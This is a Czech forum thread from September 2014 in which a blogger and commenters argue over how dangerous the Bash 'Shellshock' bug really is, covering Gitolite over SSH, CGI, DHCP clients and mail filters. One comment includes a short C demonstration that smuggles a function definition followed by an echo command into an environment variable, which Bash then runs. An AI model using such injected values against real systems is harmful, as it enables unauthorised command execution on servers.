Proč je kolem běžné tuctové chyby nevalného významu takový hloupý humbuk? Proč se všichni tváří důležitě, jako by zrovna vlítlo hovno do větráku? Jak může někdo zcela vážně tvrdit, že Bash, který sám od sebe neposlouchá na síti, má „remotely exploitable“ chybu? Proč o tom hloupý bulvár píše, jako by to byla chyba v samotném Linuxu a jako by to snad ohrožovalo desktopy, na kterých neběží žádný server?!

Jak dlouho se ještě hodlají všichni tvářit jako na pohřbu a předstírat, že je to opravdu něco důležitého, něco tajemného, něco extrémně nebezpečného? :-D Sice si nikdo neumí to děsivé nebezpečí skoro ani představit, ale o to děsivější to je, že ano. :-D :-D :-D To je fakt úsměvné a celé to šílenství mě opravdu náramně baví.

Zabezpečení systému sestává z mnoha vrstev a tady selhala nanejvýš jedna z nich, navíc používaná jen v nepatrném zlomku případů. Například konkrétní důsledky pro můj server jsou zcela jasné: Uživatel, který má správný soukromý SSH klíč, může obejít autentifikaci v Gitolite (pokud pošle bashi přes SSH tu správnou definici funkce) a na základě toho pak poškodit všechny Git respository, včetně těch, k nimž mu Gitolite za normálních okolností nepovolí přístup. Takže pokud by selhala první linie zabezpečení (SSH autentifikace), například kvůli ukradenému soukromému klíči nebo nakrknutému uživateli, byly by pak Git repository vystavené riziku. Musely by pak být obnoveny ze záloh. Jaká hrůza!!! :-D :-D :-D Nikde v tom ale není žádný root exploit, žádná možnost poškozovat něco mimo adresář s Git repository ani nic podobného.

Samozřejmě je vhodné okamžitě aktualizovat Bash. O tom není sporu. Ale bylo by super, kdyby přestaly všechny ty zděšené výkřiky. Zase tu vidíme dvojí metr v akci. Ve Windows jsou mnohem závažnější chyby naprosto běžné. Byly tam exploity, které uměly spustit kód ukrytý v archivech, v obrázcích či všude možně a chyby tohoto typu se objevují poměrně často. Nikdy jsem ale neviděl, že by nějaký bulvár kvůli tomu takhle vyšiloval.

coder avatar 25.9.2014 23:04 coder | skóre: 4 | blog: lINUKS
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
25.9.2014 23:05 chrono
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Jak může někdo zcela vážně tvrdit, že Bash, který sám od sebe neposlouchá na síti, má „remotely exploitable“ chybu?
Pretože ak program, ktorý počúva na sieti, spúšťa nejaký príkaz, tak je možné, že na to bude využitý práve bash (a napr. pomocou CGI nie je problém dostať vhodne pripravené dáta do premennej prostredia).
25.9.2014 23:18 Andrej | skóre: 51 | blog: Republic of Mordor
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi

Jasně, ale pořád je trochu oxymoron říkat tomu „remote exploit v Bashi“.

Servery můžou různé programy spouštět mnohem efektivněji bez použití shellu — prostě zavolají execve() a je vymalováno. Použití bashe pro tyto účely podle mě nebude zdaleka tak časté, jak se zdá. Leda že by někdo chtěl z PHP spouštět nějakou složitou pipeline za použití shellu. (Pak mě ale nepřekvapuje, že kromě problémů s efektivitou může mít takový návrh i bezpečnostní nedostatky.) Gitolite přes SSH prostě nemá na výběr, protože bash se spustí dřív než cokoliv jiného. Většina ostatních aplikací ovšem na výběr má a to platí o pro webové servery.

25.9.2014 23:41 Martin Tůma | skóre: 39 | blog: RTFM | Praha
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Servery můžou různé programy spouštět mnohem efektivněji bez použití shellu — prostě zavolají execve() a je vymalováno.

A nebo taky system()...

Každý má právo na můj názor!
26.9.2014 00:01 trekker.dk | skóre: 72
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Jsme rádi, že jste nás jako odborník na bezpečnost (a železniční dopravu a hardware a všechno) přišel zachránit před zbytečnou panikou prohlášením, že podle vás použití bashe pro takové účely nebude tak časté. Kdybyste se obtěžoval přečíst si v diskuzi odkazované články, zjistíte, že někdo nespekuloval, ale prostě to zkusil a podařilo se mu poměrně primitivním testem exploitnout cca 2% - náhodných, pokud jsem správně pochopil - webserverů, na kterých to zkusil.
Quando omni flunkus moritati
26.9.2014 05:12 Andrej | skóre: 51 | blog: Republic of Mordor
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi

Jasně, 2% webserverů, jaká to hrůza! :-D Přesně v tom je celá pointa! Já prostě tvrdím, že nemá žádný smysl děsit běžné uživatele desktopů bulvárními poplašnými zprávami.

Pro odborníky a správce serverů je tato zpráva samozřejmě důležitá a musí se podle ní zařídit. (Například kvůli Gitolite, jak už jsem psal.) Je ovšem hloupé, když na rádoby technicky zaměřených webech publikují poplašné zprávy lidé, kteří si pletou Linux s Bashem. (Řeč je o výše odkazovaném článku na technet.idnes.cz.) To je klasický dvojí metr. Je zajímavé, že média nijak zásadně neječela a nepanikařila, když řádil Sasser a pozdější slavné exploity pro Windows, zatímco údajně kritická (a ve skutečnosti prostě tak nějak průměrná a nijak výjimečná) chyba v Bashi je najednou kus senzace a „chyba Linuxu“.

Jsou vaše jízlivé poznámky o odbornících na všechno pouhý egoobranný reflex v argumentační nouzi, nebo mají nějaký hlubší význam?

26.9.2014 08:14 Michal Kašpar | skóre: 15
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Člověče přečtěte si ten článek. 2 % jsou to proto, že je to jen PoC, kde se vůbec nesnažil řešit věci typu umístění pingu, měl chybně udělané přijímání, testoval jen primární domény v rámci vhostů atp. Tahle chyba je kritická a třeba v případě http serverů výrazně horší než heartblead, protože ten klíč k certifikátu si přes ni přečtete taky a jako bonus můžete dělat spoustu dalších věcí.

Navíc existuje už snad 20 let, takže těžko říct, jak dlouho už je tiše zneužívána, ale teď po celém internetu kolují triviální skripty, které dokáže k útoku na neopravené servery (a že jich ještě dlouho bude) upravit snad i moje babička.
26.9.2014 09:27 j
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
No jiste, to promile web serveru ktery to umoznej si to jedine zaslouzi. Normalni web rozhodne nic co prijde at ur zpres get nebo pres post nepreda nikam ke spusteni.
Jendа avatar 26.9.2014 09:45 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
„Nastavím to do environmentu“ znamená „předám ke spuštění“? (navíc ten environment nastavuje ve většině případů webserver, ne aplikace)
Heron avatar 26.9.2014 10:07 Heron | skóre: 53 | blog: root_at_heron | Olomouc
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
protože ten klíč k certifikátu si přes ni přečtete taky

Jak?

26.9.2014 11:41 Michal Kašpar | skóre: 15
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Máte pravdu, že ten asi ne. Neuvědomil jsem si, že ho (alespoň u Apache, u jiných webserverů netuším) načítá a drží pouze ten proces, který běží jako root.
26.9.2014 00:05 Ondrej Santiago Zajicek
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Jasně, ale pořád je trochu oxymoron říkat tomu „remote exploit v Bashi“.
To je slovickareni. Obdobne bychom taky mohli rict, ze Heartbleed v OpenSSL vlastne nebyla remote exploitelna chyba, protoze to je jen knihovna a ta sama nikde neposloucha. Remote expoitelna byla az kombinace OpenSSL s nejakym demonem. Nicmene ten rozdil neni moc relevantni.
25.9.2014 23:34 Martin Tůma | skóre: 39 | blog: RTFM | Praha
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Musely by pak být obnoveny ze záloh. Jaká hrůza!!!

No ono to taky nemusí být tak nevinné jako mazání... Pokud se někdo dostane k repozitory, ke které nemá jinak přístup, může do SW v ní propašovat nějaký svůj backdor aniž by si toho kdokoliv všimnul. A to už taková prdel neni...

Každý má právo na můj názor!
26.9.2014 05:19 Andrej | skóre: 51 | blog: Republic of Mordor
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi

Samozřejmě. Pokud by se útočník dostal k některému z SSH klíčů uživatelů, mohl by pak v Gitu dělat cokoliv. Ještě snáze proveditelná hrozba než změny kódu je i pouhé nahlížení do repository, jejíž majitel spoléhá, že do ní nikdo jiný nevidí.

Problém v Bashi tedy zredukoval složitý systém oprávnění v Gitolite v podstatě do stavu, kdy všichni můžou všechno (jakmile mají povolený SSH klíč). To je nepříjemné až na půdu.

Ale tohle se naštěstí týká jen správců serverů, nikoliv nějakého domácího uživatele s desktopem, který na tom desktopu žádné serverové služby neprovozuje. Pokud tedy nenaklonuje software s backdoorem z napadené Git repository. :-)

Heron avatar 26.9.2014 10:27 Heron | skóre: 53 | blog: root_at_heron | Olomouc
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
To jako že změní historii gitu a nikdo z klientů si toho při pull nevšimne? Když nebude sedět celý strom? Nehledě na podepsané commity?
26.9.2014 11:54 Martin Tůma | skóre: 39 | blog: RTFM | Praha
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Ve velkém projektu stačí udělat commit do nějaké části, do které se aktuálně moc nešahá a pravděpodobnost, že to nikdo nebude zkoumat je dost vysoká.
Každý má právo na můj názor!
25.9.2014 23:45 Michal Kašpar | skóre: 15
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Protože ke zneužití na spoustě defaultně nainstalovaných systémů nepotřebujete žádný lokální účet ani žádný ssh klíč. Stačí něco, co přijímá data ze sítě:

- třeba DHCP klient

- nebo Apache s povolenými CGI skripty a /bin/sh jako symlinkem na bash (RH based distribuce to tak mají, pokud vím, všechny (na druhou stranu mají zase selinux, který má potenciál se v tuhle chvíli skvěle osvědčit)) V obou případech dojde ke spuštění libovolného programu pod právy příslušného procesu. Odkud už je většinou k lokálnímu rootu celkem kousek.
26.9.2014 05:02 Andrej | skóre: 51 | blog: Republic of Mordor
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi

To s Apache a CGI je jistě riziko a je prostě bezva se něčemu takovému vyhnout. Naštěstí na běžném uživatelském desktopu nic takového s největší pravděpodobností v provozu není.

Mechanismus útoku pomocí falešného DHCP serveru a Bashe už existuje, vzhledem k tomu, že DHCP klient většinou spouští nějaké divně napsané konfigurační skripty. Bezesporu jde o velké riziko a bezesporu je potřeba aktualizovat Bash a případně konečně vymyslet nějaké bezpečné DHCP klienty.

Nejde ale o žádné „extrémní nebezpečí“ pro všechny uživatele. DHCP totiž funguje pouze na lokální síti. Takže útok by vyžadoval, aby si někdo z lidí na lokální síti spustil svůj vlastní DHCP server, který by mohl, bude-li mít štěstí a odpoví-li s menší latencí než „oficiální“ DHCP server, podstrčit klientům kód ke spuštění pod rootem. To je ve větších sítích jistě proveditelné, ale nemá smysl děsit uživatele zkazkami, že se jim v jejich domácí síti se dvěma a půl počítači něco takového stane.

Conscript89 avatar 26.9.2014 07:32 Conscript89 | Brno
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Nejprve tvrdite, ze to neni problem desktopovych uzivatelu, ale je to problem serveru. Ted zase ze desktopu to neni problem protoze ten je na lokalni siti. A co tahkle dostat skodlivy kod na routery a z nich pomoci DHCP i tem desktopum? To uz se jich tyka? Sam provozuju router+webserver, nastesti s CentOS 6 a SELinuxem a vypnutym cgi-bin. Nebezpeci tam ale vidim velke. A nejde k tomu pristupovat takovym zpusobem ze pohodicka, to ze je chyba u me nevadi, protoze Pepa vedle me kontroluje co se deje a on to urcite zvladne.
I can only show you the door. You're the one that has to walk through it.
Rezza avatar 26.9.2014 11:47 Rezza | skóre: 25 | blog: rezza | Brno
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
25.9.2014 23:56 Ondrej Santiago Zajicek
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Proč je kolem běžné tuctové chyby nevalného významu takový hloupý humbuk?

Je to chyba v interpretu (casto pouzivaneho) programovaciho jazyka, ktera pomerne brutalnim zpusobem narusuje barieru mezi daty a kodem.

V dusledku toho je deravy kazdy program bezici v danem interpretu, kteremu se predavaji urcitym zpusobem data z jine bezpecnosti domeny.
jako by to snad ohrožovalo desktopy, na kterých neběží žádný server?!
Kdyz se clovek chvili zamysli, tak ho napada spousta mist, kde by tato chyba mohla narusit bezpecnost na desktopech. Napr. suid program spoustici podprogram a zachova pri tom nektere whitelistovane promenne. Nebo mailovy klient poustici helper pro prilohu a predavajici v promennych metadata z MIME hlavicek. Potencialncih moznosti je spousta. Jaka jsou realna rizika v bezne out-of-the-box nainstalovane desktopove distribuci je ale pomerne zajimava otazka.
26.9.2014 00:04 trekker.dk | skóre: 72
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Nehledě na to, že o narušení bezpečnosti na desktopech se mimo jiné pokouší i napadené servery - ať už umístěním virů na webech či rozesíláním spamu
Quando omni flunkus moritati
26.9.2014 04:37 Andrej | skóre: 51 | blog: Republic of Mordor
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi

S tím ale běžní desktopoví uživatelé nemůžou nic dělat. Zase o důvod víc, proč je neděsit bulvárními zprávami o apokalypse. Ještě jim někdo začne tvrdit, aby třeba tak týden nepoužívali web, protože zrovna teď můžou být všude viry. :-D

26.9.2014 04:48 Andrej | skóre: 51 | blog: Republic of Mordor
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi

Ale proč by ten suid program měl používat Bash ke spouštění něčeho? Použití execve() je nakonec i mnohem snazší a žádný Bash v tom nefiguruje. Pokud potřebuje nějaké složité expanze názvů souborů, na které by potřeboval použít shell (aby je nemusel sám implementovat), může si přece execnout bash jen s potřebným „echo wildcard“ příkazem, bez jakýchkoliv dalších součástí příkazové řádky a zejména bez prefixů v podobě přiřazení proměnných. Přesně tohle řešení bych zvolil já, kdybych už ten shell fakt spouštět musel. Ten suid program má přece kompletní kontrolu nad tím, co tomu Bashi předá a co ne. Proto by mu měl chtít předat jen nezbytné minimum. Proměnné mu může předat přímo v execve() pomocí klasického environment pole a tím se úplně vyhne parsování potenciálně škodlivého přiřazení proměnné/funkce Bashem.

Neumím si moc představit suid program, který by byl ochotný vygenerovat nějaký podezřelý skript pro Bash přímo ze vstupu od uživatele a ten Bash pak jako root spustit. Takový suid program bych nechtěl nikde mít.

Tohle je jeden z mnoha důvodů, proč si myslím, že rizika nejsou tak velká, aby stála za ten extrémní povyk, který se kolem toho najednou strhl.

Jendа avatar 26.9.2014 04:56 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Neumím si moc představit suid program, který by byl ochotný vygenerovat nějaký podezřelý skript pro Bash přímo ze vstupu od uživatele a ten Bash pak jako root spustit. Takový suid program bych nechtěl nikde mít.
Já také ne. Ještě štěstí, že o tom předřečník nepsal.
26.9.2014 06:00 Andrej | skóre: 51 | blog: Republic of Mordor
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi

To sice ne, ale je to jeden z mála možných (a krajně nepravděpodobných) scénářů, kvůli kterým by se pomocí nějakého suid programu dal nějak zneužít tento bug v Bashi. Pokud suid program něco spouští standardním způsobem pomocí execve(), může spouštěnému procesu předat proměnné prostředí, jaké chce, a žádný Bash v tom nebude hrát roli.

26.9.2014 10:00 Ondrej Santiago Zajicek
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Ale proč by ten suid program měl používat Bash ke spouštění něčeho? Použití execve() je nakonec i mnohem snazší a žádný Bash v tom nefiguruje.
To ti moc nepomuze, pokud samotny spousteny program je (pevny, negenerovany) bashovy skript.

V pripade suid programu bych pouziti execve() ocekaval, ale v ostatnich zminovanych pripadech (napr. mailovy klient spostici helper na prilohu, mail filter a la procmail spoustici externi program na filtrovani mailu) bych cekal spis ten system().
Jendа avatar 26.9.2014 10:21 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
To ti moc nepomuze, pokud samotny spousteny program je (pevny, negenerovany) bashovy skript.
Nebo někdo udělal program.real a do program z nějakého důvodu napsal shellový wrapper. A že jich je. Na mém systému 157.
for d in `echo $PATH|tr ":" " "`; do find $d -maxdepth 1 -type f | while read res; do file $res; done; done|grep "Bourne-Again shell script"|wc -l
157
Jendа avatar 25.9.2014 23:57 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Ach jo.
  • command="" přes SSH zdaleka není problém jen gitu, já takhle třeba řídím boty v botnetu.
  • git repozitář lze poškodit tak, aby si toho dost dlouho nikdo nevšiml. Třeba do něj lze přidat škodlivý kód.
  • Mám web, který spouští příkazy.
  • Mám mailserver s custom filtrem mailů, který je - světe div se - shellový sktipt, který aplikuje nějaké regexpy a podle toho mail přepošle/doručí.
26.9.2014 04:33 Andrej | skóre: 51 | blog: Republic of Mordor
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
  • Pointu ohledně Gitu tedy vysvětlím ještě jednou. Byla to jediná služba na mém serveru, které se problém Bashe týkal. Command přes SSH je samozřejmě naprosto normální jev, zejména když člověk používá pssh pro paralelní ovládání více strojů. V takovém případě ale má beztak oprávnění spouštět tam jakékoliv příkazy i uživatelské relace, takže tím žádné zabezpečení neobchází a nepotřebuje obcházet. Chyba v Bashi tedy v tom případě na situaci nic nemění. Pouze v případě Gitu děravý Bash uškodí, protože Gitolite je tam právě od toho, aby zabránil spouštění libovolných příkazů a aby zajistil identifikaci a autentifikaci uživatelů, kteří používají (jak je u Gitu zvykem) všichni jeden UNIXový účet (aby se kvůli přístupu do Gitu nemusely rozdávat na potkání UNIXové účty).
  • Ano, Git repozitář lze poškodit mnoha zákeřnými způsoby, pokud někdo získá některý z přijatelných SSH klíčů a přes děravý Bash se ke Gitu dostane. Hlavní problém je, že uživatelé, kteří mají na mém serveru neveřejné Git repository, se celou dobu spoléhali, že Gitolite k nim nikoho neoprávněného (byť s přijímaným SSH klíčem) nepustí. To se spoléhali skoro správně, nebýt ovšem problému s Bashem.
  • Máš web, který spouští příkazy? A co má být? Spousta příkazů se přece dá spustit pomocí běžného execve(), tedy zcela bez parsování shellem. Klidně se dá sestavit celá pipeline bez jakéhokoliv použití Bashe. Web, který spouští příkazy tak, že napřed vyrobí command line a pak na to spustí celý shell (protože to asi vyžaduje nějaké netriviální shellové expanze, třeba jmen souborů atd.), mi připadá jako ošklivé a neefektivní řešení. Že by taky mohlo být nebezpečné, pokud se Bash nechová správně, to mě nepřekvapuje ani trochu. Takto navrženým softwarovým systémům je třeba se vyhnout.
  • V nějakém mailovém filtru, byť napsaném v Bashi, by se muselo provádět jakési nastavování proměnných přímo podle textu z toho mailu, aby se dalo vhodně strukturovaným mailem zaútočit. Takový filtr je ovšem od základu špatný a nebezpečný nápad, který by klidně mohl selhat i bez tohoto bugu v Bashi.

Jak už jsem psal, samozřejmě je nutné Bash okamžitě aktualizovat, o tom se nepřu. Ale je naprosto nesmyslné děsit uživatele (běžné desktopové) nějakou poplašnou zprávou o extrémně nebezpečné chybě. Nic takového na jejich systémech není.

Jendа avatar 26.9.2014 04:54 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
V takovém případě ale má beztak oprávnění spouštět tam jakékoliv příkazy i uživatelské relace, takže tím žádné zabezpečení neobchází a nepotřebuje obcházet. Chyba v Bashi tedy v tom případě na situaci nic nemění.
Asi jsem se špatně vyjádřil. Na (nedůvěryhodném) botovi běží ssh klient, který se připojuje na botmastra, kde se spustí handler a pak si povídají přes stdin a stdout sshčka, tedy stejná situace, jako u toho gitu.
Máš web, který spouští příkazy? A co má být? Spousta příkazů se přece dá spustit pomocí běžného execve(), tedy zcela bez parsování shellem. Klidně se dá sestavit celá pipeline bez jakéhokoliv použití Bashe. Web, který spouští příkazy tak, že napřed vyrobí command line a pak na to spustí celý shell (protože to asi vyžaduje nějaké netriviální shellové expanze, třeba jmen souborů atd.), mi připadá jako ošklivé a neefektivní řešení.
Spousta prasičů (včetně mě) tohle, tedy jestli použít execve, nebo system/popen, neřešila. A jak ukazují automatické scany Internetu, je to opravdu leckde.
V nějakém mailovém filtru, byť napsaném v Bashi, by se muselo provádět jakési nastavování proměnných přímo podle textu z toho mailu, aby se dalo vhodně strukturovaným mailem zaútočit.
Nebo ti to mailserver nastaví do proměnných prostředí FROM a TO.
Ale je naprosto nesmyslné děsit uživatele (běžné desktopové) nějakou poplašnou zprávou o extrémně nebezpečné chybě. Nic takového na jejich systémech není.
Protože běžný uživatel nemá na desktopu DHCP klienta.
26.9.2014 05:55 Andrej | skóre: 51 | blog: Republic of Mordor
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi

Samotné nastavení proměnných FROM a TO ještě nemusí vadit. I kdyby mail server spouštěl při každé zprávě Bash (což by jeho throughputu ani trochu nesvědčilo), může přece předat FROM a TO Bashi pomocí toho klasického environment pole v execve(). Tím se vyhne jakémukoliv parsování nějakých přiřazení přímo Bashem a všechny programy, které pak Bash spustí, FROM a TO dostanou.

Někdo DHCP klienta má, někdo ne. Ale to není až tolik podstatné, protože falešný DHCP server, třeba takový, by musel být na stejné podsíti jako klient(i), takže útok přes DHCP není žádná extrémní hrozba, která by mohla přijít „z Internetu“. (To má ale zase ten nepříjemný důsledek, že skoro všechny implementace DHCP klientů jsou děravé a spoléhají se poněkud idiotsky, že DHCP server je důvěryhodný.) Výše odkazovaný článek na technet.idnes.cz ovšem šíří poplašnou zprávu, že když ten jednoduchý test na exploit v Bashi ukáže příslušné echo, systém je nějak zásadně ohrožený. To ale prostě není pravda. Ve veřejné WiFi síti nebo ve velké firemní síti je rozhodně důvod k obavám a k obezřetnosti, ale v nějaké domácí síti, kde má uživatel většinou zhruba tak jeden počítač, žádné extrémní riziko nečíhá. Samozřejmě za předpokladu, že NSA neovládla počítač toho uživatele někdy dřív, když byl ve vhodné veřejné síti. ;-)

Jak už jsem několikrát psal, nepřu se ani náznakem o nutnosti co nejdřív aktualizovat systém. (Sám si aktualizuji systém minimálně dvakrát denně, takže bych byl ten poslední, kdo by byl proti.) Jen se mi nelíbí ten dvojí metr, kdy bug v Bashi vyvolává senzaci a označuje se za „extrémně nebezpečnou chybu v Linuxu“, zatímco nad některými jinými slavnými systémy nikdo příliš nepanikaří.

26.9.2014 09:09 Michal Kašpar | skóre: 15
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi

...i kdyby mail server spouštěl při každé zprávě Bash (což by jeho throughputu ani trochu nesvědčilo), může přece předat FROM a TO Bashi pomocí toho klasického environment pole v execve().

Kdyby, může... je ovšem naprosto nepodstatné. Důležité je, jak to každý z těch X mailserverů (a výše bylo myslím jasně ukázáno, že nejen mailserverů, dhcp klientů, webserverů, PHP aplikací, CGI skriptů....) reálně dělá. A to je další velký problém téhle chyby. V tuhle chvíli nikdo není přesně schopen zhodnotit její dopad, protože vlastně pořádně nevíme, kde všude u SW, který se skutečně používá, k využití bashe dochází. A i když to bude jasné ze zdrojáků, tak je potřeba přičíst ještě to, že bash bývá velice často používán jako univerzální lepidlo. Které je teď bohužel trochu toxické.
Jendа avatar 26.9.2014 10:15 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
I kdyby mail server spouštěl při každé zprávě Bash, může přece předat FROM a TO Bashi pomocí toho klasického environment pole v execve(). Tím se vyhne jakémukoliv parsování nějakých přiřazení přímo Bashem a všechny programy, které pak Bash spustí, FROM a TO dostanou.
Děkuji za názornou ukázku toho, že nikdo neví, co přesně chyba postihuje a nepostihuje. Pokud spustíme bash pomocí execve(2) a nasypeme mu to do **envp, tak jsme na rozdíl od nějakého blbého fork(2) všichni safe, že ano?
root@raspberrypi:~# cat test.sh 
#!/bin/bash

echo a
echo $@
echo b
env

root@raspberrypi:~# chmod +x test.sh
root@raspberrypi:~# cat test.c
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {

  char * envir[1] = { "ble=() { :;}; echo vulnerable" };

  execve("./test.sh", NULL, envir);

}

root@raspberrypi:~# gcc test.c
root@raspberrypi:~# ./a.out 
vulnerable
a

b
PWD=/root
SHLVL=1
ble=() {  :
}
_=/usr/bin/env

(To má ale zase ten nepříjemný důsledek, že skoro všechny implementace DHCP klientů jsou děravé a spoléhají se poněkud idiotsky, že DHCP server je důvěryhodný.)
Proboha, které a jak to dělají?

K celému threadu: ano, jsem ochoten uznat, že u desktopů to není tak závažné.
26.9.2014 11:15 trekker.dk | skóre: 72
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Máš web, který spouští příkazy? A co má být? Spousta příkazů se přece dá spustit pomocí běžného execve(), tedy zcela bez parsování shellem. Klidně se dá sestavit celá pipeline bez jakéhokoliv použití Bashe.
Za domácí cvičení si to zkuste v PHP.
Quando omni flunkus moritati
26.9.2014 17:50 Petr Ježek | skóre: 10
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Bez PHP to s výhodou nejde?
Archlinux for your comps, faster running guaranted!
27.9.2014 12:58 trekker.dk | skóre: 72
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Jako jestli jde web napsaný v PHP udělat bez PHP? No podle mě by to asi moc nefungovalo.
Quando omni flunkus moritati
26.9.2014 09:49 koudy
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Jak se někdo může tvářit důležitě, když hovno vlítne do větráku???

Myslím že by má reakce byla naprosto jiná, než se tvářit důležitě, ale je fakt, že já jsem divnej :)
26.9.2014 10:10 Jirka | skóre: 25
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
:-D
Dokud to funguje, nešťourej se v tom!...
26.9.2014 12:01 Mti. | skóre: 31 | blog: Mti
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
pokud to nebyl Vas vetrak a vy jste dobre placenym pravnikem postizeneho... budete se tvarit dulezite... v ostatnich pripadech zalezi, na ktere strane vetraku jste stal. :-/
Vidim harddisk mrzuty, jehoz hlava plotny se dotyka...
Heron avatar 26.9.2014 10:12 Heron | skóre: 53 | blog: root_at_heron | Olomouc
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
+1

Mnoho povyku pro nic, ale někteří si rádi kopnou. Včetně bulváru typu root.cz.
26.9.2014 10:15 jdsulin
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Protoze je to dira az na pudu. Jakakoliv aplikace, ktera zapise do env promennych a pak spusti skript - coz je rozsirena metoda predavani promennych skriptum je derava. Uz jde jen o to, jestli se ten skript spusti v bashi nebo ne. U toho DHCP me napada jednoducha vec: dhclient prijme packet a pak spusti nastavovaci skript. Pripojis se nekde k WiFi a uz jsi nahrany :)
Jendа avatar 26.9.2014 10:23 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Protoze je to dira az na pudu. Jakakoliv aplikace, ktera zapise do env promennych a pak spusti skript - coz je rozsirena metoda predavani promennych skriptum je derava.
Si pamatuju, jak mi kdysi někdo říkal něco jako Nepředávej parametry od uživatele jako parametry na příkazové řádce, pokud to spouštíš v shellu, posereš se z escapování. Nastav mu je do prostředí a ve skriptu si je přečti, to je bezpečnější. :-)
26.9.2014 08:50 Jirka | skóre: 25
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Odpovědět | Sbalit | Link | Blokovat | Admin
Tak upgradováno, můj server je už na 100% v bezpečí, akorát si k němu budu muset udělat vejlet, protože se s ním vůbec nedá spojit, ani neodpovídá na ping. >:-O
Dokud to funguje, nešťourej se v tom!...
26.9.2014 17:53 Petr Ježek | skóre: 10
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Jo, to jsou ty výhody vzdálené správy...
Archlinux for your comps, faster running guaranted!
26.9.2014 21:50 Jirka | skóre: 25
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Tak to bylo zaseklý v biosu, Taková blbost! :-D
Dokud to funguje, nešťourej se v tom!...
26.9.2014 18:20 Ahmadinedžád
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Mas tam mat nainstalovany remote exploit alebo backdoor!
Petr Tomášek avatar 26.9.2014 20:15 Petr Tomášek | skóre: 39 | blog: Vejšplechty
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Odpovědět | Sbalit | Link | Blokovat | Admin

Popravdě řečeno, když na svém apachi nechám vyblít phpinfo(), tak v sekci "Evironment" je tohle (sry, bez tabulky):

Variable	Value
APACHE_RUN_DIR 	/var/run/apache2
APACHE_PID_FILE 	/var/run/apache2.pid
PATH 	/usr/local/bin:/usr/bin:/bin
APACHE_LOCK_DIR 	/var/lock/apache2
LANG 	C
APACHE_RUN_USER 	www-data
APACHE_RUN_GROUP 	www-data
APACHE_LOG_DIR 	/var/log/apache2
PWD 	/ 

Můžete mi někdo říct, jak u všech všudy přes tohle někdo chce provést útok na (PHPkové) system() nebo popen()?

Popravdě bych spíš za bezpečnostní díru považoval, pokud apache/PHP automaticky do proměnných prostředí cokoliv cpal. (A pokud to tam bude cpát PHP, tak bych čekal, bude ošetřena syntax právě tak, aby tam nešlo něco takového vložit...)

multicult.fm | monokultura je zlo | welcome refugees!
Jendа avatar 26.9.2014 20:26 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Já teda nevím, co máš za Apache, ale já tam mám QUERY_STRING, HTTP_USER_AGENT a HTTP_ACCEPT .
Petr Tomášek avatar 27.9.2014 08:19 Petr Tomášek | skóre: 39 | blog: Vejšplechty
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Hm, no, v mém phpinfo() jsou asi 3 sekce různých proměnných: 1) "Apache environment", 2) "PHP Variables", 3) "Environment". Vždycky jsem žil v domění, že to, co dostane system() nebo popen() je z té třetí sekce - a tam žádný QUERY_STRING, atd. není...
multicult.fm | monokultura je zlo | welcome refugees!
Jendа avatar 27.9.2014 10:44 Jendа | skóre: 78 | blog: Jenda | JO70FB
